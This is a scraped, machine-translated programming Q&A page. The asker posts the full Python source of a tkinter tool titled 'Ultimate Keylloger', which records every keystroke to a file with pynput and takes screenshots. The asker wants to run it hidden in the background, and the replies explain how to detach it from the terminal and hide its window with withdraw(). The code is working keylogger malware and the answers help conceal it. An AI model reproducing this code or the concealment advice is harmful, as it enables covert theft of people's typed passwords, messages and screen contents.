繁体   English   中英

如何在后台运行python可执行文件?

[英]How to run a python executable in background?

我有一个程序,它运行良好,当我按下“在后台运行”按钮时,我需要在后台隐藏程序。 但是idk我该怎么办。 我应该使用哪个图书馆? 我能怎么做 ?

还有隐藏我的可执行文件的方法吗? 所以我只能通过打开任务管理器才能看到谢谢您的帮助;)

ps:为什么我会收到“看来您的帖子大部分是代码;请添加更多详细信息。”

from tkinter import *
from functools import partial
from pynput.keyboard import Listener
import threading
from PIL import ImageGrab
from random import randint

def grab():
    c = randint(1,9999)
    c = str(c)
    ImageGrab.grab().save("Uk" + c +".jpg", "JPEG")

def on_press(key):
        keyd=str(key)
        keyd=keyd.replace("'", "")
        translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "",
        "Key.shift_l": "",
        "Key.enter": "\n", 
        "Key.alt": "",
        "_l": "",
        "Key.ctrl": "",
        "Key.shift": "",
        "Key.capsock": "",
        "Key.ctrl_l": "",
        "Key.backspace": "",
        "Key.esc": "",
        "Key.cmd": "",
        "Key.caps_lock": "",
         }

        for key in translate_keys:
                keyd = keyd.replace(key, translate_keys[key])

        print(keyd)
        with open("Uk.docx", "a") as o:
                o.write(keyd)

def start(arg):
        def starting(args):
                if args is 1:
                        lVar.set("Starting Listener")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 2:
                        lVar.set("Starting Listener .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 3:
                        lVar.set("Starting Listener . .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 4:
                        lVar.set("Starting Listener . . .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
        def running():
                lbStatus["fg"] = "white"
                lVar.set('[+] Listener Running')
                lbStatus["bg"] = "green"
        def not_original():
                lbStatus["fg"] = "white"
                lbStatus["bg"] = "blue"
                lVar.set("[!] Click Button Start ")
        def err_running():
                lbStatus["fg"] = "red"
                lVar.set('[!] Already Running ')
                lbStatus["bg"] = "black"
                threading.Timer(1, running).start()
        def err_notRunning():
                lbStatus["fg"] = "red"
                lbStatus["bg"] = "black"
                lVar.set("[!] Not Running ")
                threading.Timer(1, not_original).start()
        def repeat():
                threading.Timer(0.5,starting,[1]).start()
                threading.Timer(1, starting,[2]).start()
                threading.Timer(1.5, starting,[3]).start()
                threading.Timer(2, starting,[4]).start()
        global thr
        if arg == btStart:
                if thr is None:
                       #Start Listener
                       thr = Listener(on_press=on_press)
                       threading.Timer(0.1, repeat).start()
                       threading.Timer(2, repeat).start()
                       thr.start()
                       threading.Timer(5, running).start()
                       threading.Timer(50, grab).start() 


                else:
                        print("Ja rodando")
                        err_running()
        if arg == btStop:
                if thr is None:
                        print('Nao está rodando')
                        err_notRunning()
                else:
                        print("Parando proteção")
                        threading.Timer(1, not_original).start()
                        thr.stop()
                        thr.join()
                        thr = None
def runInBackground():
        pass

thr = None

#Controller
app = Tk()
#Estado
lVar = StringVar()
lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white")
lbStatus.pack(side=BOTTOM, fill=X)
lVar.set("[!] Click Button Start")

#Button Start
btStart = Button(app, text="Start")
btStart.pack(side = TOP, fill=X)
btStart["command"] = partial(start, btStart)
#Button Stop
btStop = Button(app, text="Stop")
btStop.pack(side=TOP, fill=X)
btStop["command"] = partial(start, btStop)
#Button Backg
btBackground = Button(app, text="Run in Background", command=runInBackground)
btBackground.pack(side=TOP, fill=X)

#Window Configs
app.geometry("300x150+800+400")
app.title("Ultimate Keylloger")
app.maxsize(width= 300, height= 150)
app.minsize(width= 300, height= 150)
app.mainloop()

尝试从终端/命令行运行程序。

在Linux上应为nohup python your_code.py > your_output.txt在Windows上应start \\B python <your_code.py> > your_output.txt

我猜你在想什么,可以在tkinter中使用withdraw() api完成。

app.withdraw()将隐藏您的窗口,然后可以使用app.deiconify()返回查看

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM